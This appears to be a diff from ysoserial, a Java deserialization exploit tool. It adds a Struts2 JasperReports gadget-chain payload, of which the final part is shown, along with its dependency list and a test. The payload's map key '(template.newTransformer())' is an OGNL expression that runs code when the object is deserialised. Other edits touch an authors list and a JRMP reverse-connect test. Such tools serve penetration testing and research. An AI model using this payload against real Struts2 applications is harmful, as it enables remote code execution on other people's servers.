// execute OGNL "(template.newTransformer()) upon deserialisation
String keyExpression = "(template.newTransformer())";
shadowMap1.put(keyExpression, null);
shadowMap2.put(keyExpression, null);
return Gadgets.makeMap(shadowMap1, shadowMap2);
}
public static void main ( final String[] args ) throws Exception {
initializeThreadLocalMockContainerForTesting();
PayloadRunner.run(Struts2JasperReports.class, args);
}
/**
* Create mock container and mock actionContext,
* since a context is required for the payload being triggered upon deserialisation.
* Simulates an Apache Struts2 app up and running.
*/
public static void initializeThreadLocalMockContainerForTesting() {
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
Configuration config = configurationManager.getConfiguration();
Container container = config.getContainer();
HashMap<String, Object> context = new HashMap<String, Object>();
context.put(ActionContext.CONTAINER, container);
ActionContext.setContext(new ActionContext(context));
}
// add dependencies for testing a mock struts2 app
public static String[] getDependencies () {
return new String[] {
"org.apache.struts:struts2-core:2.5.20",
"org.apache.struts:struts2-jasperreports-plugin:2.5.20",
"org.apache.logging.log4j:log4j-api:2.11.1",
"ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1",
"javassist:javassist:3.12.1.GA"
};
}
}
src/main/java/ysoserial/payloads/annotation/Authors.java
+7 -1
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@@ -15,7 +15,7 @@ public @interface Authors {
String MBECHLER = "mbechler";
String JACKOFMOSTTRADES = "JackOfMostTrades";
String MATTHIASKAISER = "matthias_kaiser";
String GEBL = "gebl" ;
String GEBL = "gebl";
String JACOBAINES = "jacob-baines";
String JASINNER = "jasinner";
String KULLRICH = "kai_ullrich";
@@ -23,8 +23,14 @@ public @interface Authors {
String SCRISTALLI = "scristalli";
String HANYRAX = "hanyrax";
String EDOARDOVIGNATI = "EdoardoVignati";
String YKOSTER = "ykoster";
String MEIZJM3I = "meizjm3i";
String SCICCONE = "sciccone";
String ZEROTHOUGHTS = "zerothoughts";
String NAVALORENZO = "navalorenzo";
String JANG = "Jang";
String ARTSPLOIT = "artsploit";
String K4n5ha0 = "k4n5ha0";
String[] value() default {};
src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java
+1 -1
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@@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest {
public String getPayloadArgs () {
return "rmi:localhost:" + port;
return "rmi://localhost:" + port + "/ExportObject";
}
}
src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java
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@@ -0,0 +1,47 @@
package ysoserial.test.payloads;
import java.util.HashMap;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.config.Configuration;
import com.opensymphony.xwork2.config.ConfigurationManager;
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
import com.opensymphony.xwork2.inject.Container;
import ysoserial.Deserializer;
import ysoserial.test.CustomDeserializer;
public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer {
@Override
public Class<?> getCustomDeserializer() {
return StrutsJasperReportsDeserializer.class;
}
/**
* need to use a custom deserializer so that the action context gets set in the isolated class
*
* @author sciccone
*
*/
public static final class StrutsJasperReportsDeserializer extends Deserializer {
public StrutsJasperReportsDeserializer(byte[] bytes) {
super(bytes);
}
@Override
public Object call () throws Exception {
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
Configuration config = configurationManager.getConfiguration();
Container container = config.getContainer();
HashMap<String, Object> context = new HashMap<String, Object>();
context.put(ActionContext.CONTAINER, container);
ActionContext.setContext(new ActionContext(context));
return super.call();
}
}
}